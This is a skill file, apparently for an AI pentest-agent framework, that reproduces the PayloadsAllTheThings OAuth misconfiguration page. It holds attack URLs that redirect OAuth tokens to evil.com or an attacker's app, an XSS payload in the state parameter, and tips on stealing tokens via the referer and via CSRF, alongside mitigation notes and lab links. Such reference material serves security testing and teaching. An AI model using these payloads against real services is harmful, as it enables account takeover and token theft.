Payloads Oauth

---
name: payloads-oauth
description: "OAuth is a widely-used authorization framework that allows third-party applications to access user data without exposing user credentials. However, improper configuration and implementation of OAuth can lead to severe security vulnerabilities. This document explores common OAuth misconfigurations, potential attack vectors, and best practices for mitigating these risks. Do you have HTML injection..."
---

# OAuth Misconfiguration Payloads

> **Source:** [PayloadsAllTheThings/OAuth Misconfiguration](https://github.com/swisskyrepo/payloadsallthethings/tree/master/OAuth%20Misconfiguration)
> **Category:** `payloads-web` | **Skill ID:** `payloads-oauth`

## Overview

OAuth 2.0 misconfiguration exploitation payloads for token theft and account takeover.

This skill integrates the full **PayloadsAllTheThings** (PATT) payload library for the **OAuth Misconfiguration Payloads** domain into the REA_Skill framework. Use it during authorized penetration testing, bug bounty research, security audits, and CTF challenges.

## Workflow

### 1. Recon & Identification
- Identify the target technology stack and injection points
- Enumerate endpoints, parameters, and input vectors
- Determine applicable payload categories from the reference below

### 2. Payload Selection
- Browse the PATT payload library for the attack class
- Select encoding-appropriate payloads for the target environment
- Consider WAF bypass variants and obfuscation techniques

### 3. Exploitation (Authorized Only)
- Test payloads in order: passive → active → escalation
- Document every payload tested and its response
- Capture PoC evidence (screenshots, HTTP logs, curl output)

### 4. Verification & Reporting
- Confirm the vulnerability with a clean minimal PoC
- Map findings to CVE/CWE where applicable
- Report with remediation recommendations and code fixes

---

## Full PATT Reference

# OAuth Misconfiguration

> OAuth is a widely-used authorization framework that allows third-party applications to access user data without exposing user credentials. However, improper configuration and implementation of OAuth can lead to severe security vulnerabilities. This document explores common OAuth misconfigurations, potential attack vectors, and best practices for mitigating these risks.

## Summary

- [Stealing OAuth Token via referer](#stealing-oauth-token-via-referer)
- [Grabbing OAuth Token via redirect_uri](#grabbing-oauth-token-via-redirect_uri)
- [Executing XSS via redirect_uri](#executing-xss-via-redirect_uri)
- [OAuth Private Key Disclosure](#oauth-private-key-disclosure)
- [Authorization Code Rule Violation](#authorization-code-rule-violation)
- [Cross-Site Request Forgery](#cross-site-request-forgery)
- [Labs](#labs)
- [References](#references)

## Stealing OAuth Token via referer

> Do you have HTML injection but can't get XSS? Are there any OAuth implementations on the site? If so, setup an img tag to your server and see if there's a way to get the victim there (redirect, etc.) after login to steal OAuth tokens via referer - [@abugzlife1](https://twitter.com/abugzlife1/status/1125663944272748544)

## Grabbing OAuth Token via redirect_uri

Redirect to a controlled domain to get the access token

```powershell
https://www.example.com/signin/authorize?[...]&redirect_uri=https://demo.example.com/loginsuccessful
https://www.example.com/signin/authorize?[...]&redirect_uri=https://localhost.evil.com
```

Redirect to an accepted Open URL in to get the access token

```powershell
https://www.example.com/oauth20_authorize.srf?[...]&redirect_uri=https://accounts.google.com/BackToAuthSubTarget?next=https://evil.com
https://www.example.com/oauth2/authorize?[...]&redirect_uri=https%3A%2F%2Fapps.facebook.com%2Fattacker%2F
```

OAuth implementations should never whitelist entire domains, only a few URLs so that “redirect_uri” can’t be pointed to an Open Redirect.

Sometimes you need to change the scope to an invalid one to bypass a filter on redirect_uri:

```powershell
https://www.example.com/admin/oauth/authorize?[...]&scope=a&redirect_uri=https://evil.com
```

## Executing XSS via redirect_uri

```powershell
https://example.com/oauth/v1/authorize?[...]&redirect_uri=data%3Atext%2Fhtml%2Ca&state=<script>alert('XSS')</script>
```

## OAuth Private Key Disclosure

Some Android/iOS app can be decompiled and the OAuth Private key can be accessed.

## Authorization Code Rule Violation

> The client MUST NOT use the authorization code  more than once.  

If an authorization code is used more than once, the authorization server MUST deny the request
and SHOULD revoke (when possible) all tokens previously issued based on that authorization code.

## Cross-Site Request Forgery

Applications that do not check for a valid CSRF token in the OAuth callback are vulnerable. This can be exploited by initializing the OAuth flow and intercepting the callback (`https://example.com/callback?code=AUTHORIZATION_CODE`). This URL can be used in CSRF attacks.

> The client MUST implement CSRF protection for its redirection URI. This is typically accomplished by requiring any request sent to the redirection URI endpoint to include a value that binds the request to the user-agent's authenticated state. The client SHOULD utilize the "state" request parameter to deliver this value to the authorization server when making an authorization request.

## Labs

- [PortSwigger - Authentication bypass via OAuth implicit flow](https://portswigger.net/web-security/oauth/lab-oauth-authentication-bypass-via-oauth-implicit-flow)
- [PortSwigger - Forced OAuth profile linking](https://portswigger.net/web-security/oauth/lab-oauth-forced-oauth-profile-linking)
- [PortSwigger - OAuth account hijacking via redirect_uri](https://portswigger.net/web-security/oauth/lab-oauth-account-hijacking-via-redirect-uri)
- [PortSwigger - Stealing OAuth access tokens via a proxy page](https://portswigger.net/web-security/oauth/lab-oauth-stealing-oauth-access-tokens-via-a-proxy-page)
- [PortSwigger - Stealing OAuth access tokens via an open redirect](https://portswigger.net/web-security/oauth/lab-oauth-stealing-oauth-access-tokens-via-an-open-redirect)

## References

- [All your Paypal OAuth tokens belong to me - asanso - November 28, 2016](https://web.archive.org/web/20161130191804/http://blog.intothesymmetry.com:80/2016/11/all-your-paypal-tokens-belong-to-me.html)
- [OAuth 2 - How I have hacked Facebook again (..and would have stolen a valid access token) - asanso - April 8, 2014](https://web.archive.org/web/20140411210456/http://intothesymmetry.blogspot.ch:80/2014/04/oauth-2-how-i-have-hacked-facebook.html)
- [How I hacked Github again - Egor Homakov - February 7, 2014](https://web.archive.org/web/20140302195803/http://homakov.blogspot.ch:80/2014/02/how-i-hacked-github-again.html)
- [How Microsoft is giving your data to Facebook… and everyone else - Andris Atteka - September 16, 2014](https://web.archive.org/web/20151221013410/http://andrisatteka.blogspot.ch:80/2014/09/how-microsoft-is-giving-your-data-to.html)
- [Bypassing Google Authentication on Periscope's Administration Panel - Jack Whitton - July 20, 2015](https://web.archive.org/web/20250113205505/https://whitton.io/articles/bypassing-google-authentication-on-periscopes-admin-panel/)

---

## REA MCP Integration

```javascript
// REA MCP — Automated payload injection via REA tools
// Use analyze_function, procedure_pseudo_code, or observe_native_calls
// to identify injection sinks, then apply payloads from this skill.
```

## Legal Notice

> ⚠️ **Authorized Use Only.** All payloads in this skill are for security research, penetration testing with written permission, CTF competitions, and defensive study. Unauthorized use against systems you do not own or have explicit permission to test is illegal.